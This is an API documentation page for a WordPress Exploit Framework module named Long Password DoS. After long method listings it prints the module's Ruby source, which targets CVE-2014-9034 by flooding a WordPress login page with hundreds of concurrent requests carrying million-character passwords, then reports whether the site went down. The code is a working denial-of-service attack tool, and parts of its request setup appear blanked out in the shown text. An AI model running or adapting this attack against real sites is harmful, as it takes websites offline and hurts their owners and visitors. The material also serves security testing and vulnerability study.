Class: Wpxf::Auxiliary::LongPasswordDos

Inherits:
Module
  • Object
show all
Includes:
Wpxf, Net::HttpClient, WordPress::Login, WordPress::User
Defined in:
lib/wpxf/modules/auxiliary/dos/long_password_dos.rb

Constant Summary

Constants included from Net::HttpOptions

Net::HttpOptions::HTTP_OPTION_BASIC_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_CLIENT_TIMEOUT, Net::HttpOptions::HTTP_OPTION_FOLLOW_REDIRECT, Net::HttpOptions::HTTP_OPTION_HOST, Net::HttpOptions::HTTP_OPTION_HOST_VERIFICATION, Net::HttpOptions::HTTP_OPTION_MAX_CONCURRENCY, Net::HttpOptions::HTTP_OPTION_PEER_VERIFICATION, Net::HttpOptions::HTTP_OPTION_PORT, Net::HttpOptions::HTTP_OPTION_PROXY, Net::HttpOptions::HTTP_OPTION_PROXY_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_SSL, Net::HttpOptions::HTTP_OPTION_TARGET_URI, Net::HttpOptions::HTTP_OPTION_USER_AGENT, Net::HttpOptions::HTTP_OPTION_VHOST

Constants included from WordPress::Options

WordPress::Options::WP_OPTION_CONTENT_DIR

Instance Attribute Summary

Attributes inherited from Module

#active_workspace, #event_emitter, #payload, #session_cookie

Attributes included from Options

#datastore, #options

Instance Method Summary collapse

Methods included from WordPress::User

#wordpress_user_exists?, #wordpress_user_profile_form_fields

Methods included from WordPress::Login

#valid_wordpress_cookie?, #wordpress_login, #wordpress_login_post_body

Methods included from Net::HttpClient

#base_http_headers, #base_uri, #download_file, #execute_delete_request, #execute_get_request, #execute_post_request, #execute_put_request, #execute_queued_requests, #execute_request, #full_uri, #initialize_advanced_options, #initialize_options, #max_http_concurrency, #normalize_relative_uri, #normalize_uri, #queue_request, #target_host, #target_port, #target_uri

Methods included from Net::TyphoeusHelper

#advanced_typhoeus_options, #create_typhoeus_request, #create_typhoeus_request_options, #standard_typhoeus_options

Methods included from Net::UserAgent

#clients_by_frequency, #random_browser_and_os, #random_chrome_platform_string, #random_firefox_platform_string, #random_firefox_version_string, #random_iexplorer_platform_string, #random_opera_platform_string, #random_processor_string, #random_safari_platform_string, #random_time_string, #random_user_agent

Methods included from Versioning::OSVersions

#random_nt_version, #random_osx_version

Methods included from Versioning::BrowserVersions

#random_chrome_build_number, #random_chrome_version, #random_ie_version, #random_opera_version, #random_presto_version, #random_presto_version2, #random_safari_build_number, #random_safari_version, #random_trident_version

Methods included from Wpxf

app_path, build_module_list, change_stdout_sync, custom_modules_path, data_directory, databases_path, gemspec, home_directory, load_custom_modules, load_module, modules_path, payloads_path, version

Methods inherited from Module

#aux_module?, #can_execute?, #check_wordpress_and_online, #cleanup, #exploit_module?, #missing_options, #set_option_value, #unset_option

Methods included from Db::Credentials

#store_credentials

Methods included from ModuleAuthentication

#authenticate_with_wordpress, #requires_authentication

Methods included from WordPress::Urls

#wordpress_url_admin, #wordpress_url_admin_ajax, #wordpress_url_admin_options, #wordpress_url_admin_post, #wordpress_url_admin_profile, #wordpress_url_admin_update, #wordpress_url_atom, #wordpress_url_author, #wordpress_url_comments_post, #wordpress_url_login, #wordpress_url_new_user, #wordpress_url_opml, #wordpress_url_plugin_install, #wordpress_url_plugin_upload, #wordpress_url_plugins, #wordpress_url_post, #wordpress_url_rdf, #wordpress_url_readme, #wordpress_url_rest_api, #wordpress_url_rss, #wordpress_url_sitemap, #wordpress_url_themes, #wordpress_url_uploads, #wordpress_url_wp_content, #wordpress_url_xmlrpc

Methods included from WordPress::Options

#wp_content_dir

Methods included from WordPress::Fingerprint

#check_plugin_version_from_changelog, #check_plugin_version_from_readme, #check_theme_version_from_readme, #check_theme_version_from_style, #check_version_from_custom_file, #wordpress_and_online?, #wordpress_version

Methods included from Options

#all_options_valid?, #get_option, #get_option_value, #missing_options, #normalized_option_value, #option_valid?, #option_value?, #register_advanced_options, #register_evasion_options, #register_option, #register_options, #scoped_option_change, #set_option_value, #unregister_option, #unset_option

Methods included from OutputEmitters

#emit_error, #emit_info, #emit_success, #emit_table, #emit_warning

Methods included from ModuleInfo

#emit_usage_info, #module_author, #module_date, #module_desc, #module_description_preformatted, #module_name, #module_references, #update_info

Constructor Details

#initialize ⇒ LongPasswordDos

Returns a new instance of LongPasswordDos.



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# File 'lib/wpxf/modules/auxiliary/dos/long_password_dos.rb', line 9

def initialize
  super

  update_info(
    name: 'Long Password DoS',
    desc: 'WordPress before 3.7.5, 3.8.x before 3.8.5, 3.9.x before 3.9.3, '\
          'and 4.x before 4.0.1 allows remote attackers to cause a denial '\
          'of service via a long password that is improperly handled during '\
          'hashing.',
    author: [
      'Javier Nieto Arevalo',  # Vulnerability disclosure
      'Andres Rojas Guerrero', # Vulnerability disclosure
      'rastating'              # WPXF module
    ],
    references: [
      ['CVE', '2014-9034'],
      ['WPVDB', '7681'],
      ['URL', 'http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9034']
    ],
    date: 'Nov 20 2014'
  )

  register_options([
    IntegerOption.new(
      name: 'pass_length',
      required: true,
      desc: 'Length of the password to use',
      default: 1_000_000
    ),
    IntegerOption.new(
      name: 'max_requests',
      required: true,
      desc: 'Max number of requests to send',
      default: 200
    ),
    IntegerOption.new(
      name: 'http_client_timeout',
      desc: 'Max wait time in seconds for HTTP responses',
      default: 5,
      required: true
    ),
    StringOption.new(
      name: 'username',
      desc: 'The username to attempt to login with',
      required: true,
      default: ''
    ),
    BooleanOption.new(
      name: 'validate_user',
      desc: 'Validate the specified username',
      required: true,
      default: true
    )
  ])
end

Instance Method Details

#check ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/dos/long_password_dos.rb', line 81

def check
  target_version = wordpress_version
  vuln_ranges = [
    [Gem::Version.new('0'), Gem::Version.new('3.7.5')],
    [Gem::Version.new('3.8'), Gem::Version.new('3.8.5')],
    [Gem::Version.new('3.9'), Gem::Version.new('3.9.3')],
    [Gem::Version.new('4.0'), Gem::Version.new('4.0.1')]
  ]

  return :unknown if target_version.nil?

  vuln_ranges.each do |range|
    if target_version >= range[0] && target_version < range[1]
      return :vulnerable
    end
  end

  :safe
end

#max_requests ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/dos/long_password_dos.rb', line 73

def max_requests
  normalized_option_value('max_requests')
end

#pass_length ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/dos/long_password_dos.rb', line 77

def pass_length
  normalized_option_value('pass_length')
end

#run ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/dos/long_password_dos.rb', line 101

def run
  return false unless super

  if should_validate_user?
    emit_info "Checking if user \"#{username}\" exists..."
    unless wordpress_user_exists?(username)
      emit_error 'The specified user does not exist, aborting operation.'
      return
    end
  end

  emit_info "Generating payload..."
  pass = Wpxf::Utility::Text.rand_alpha(pass_length)
  opts = {
    url: ,
    method: :post,
    body: (username, pass)
  }

  emit_info "Preparing #{max_requests} requests..."
  complete_requests = 0
  max_requests.times do
    queue_request(opts) do |res|
      complete_requests += 1
      emit_warning("#{complete_requests} requests executed") if complete_requests % 10 == 0
    end
  end

  emit_info "Beginning execution of #{max_requests} requests over #{max_http_concurrency} threads"
  execute_queued_requests
  emit_success 'Finished executing requests'

  if wordpress_and_online?
    emit_error "FAILED: #{full_uri} appears to still be online"
    return false
  else
    emit_success "#{full_uri} appears to be down"
    return true
  end
end

#should_validate_user? ⇒ Boolean

Returns:

  • (Boolean) 


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# File 'lib/wpxf/modules/auxiliary/dos/long_password_dos.rb', line 65

def should_validate_user?
  normalized_option_value('validate_user')
end

#username ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/dos/long_password_dos.rb', line 69

def username
  normalized_option_value('username')
end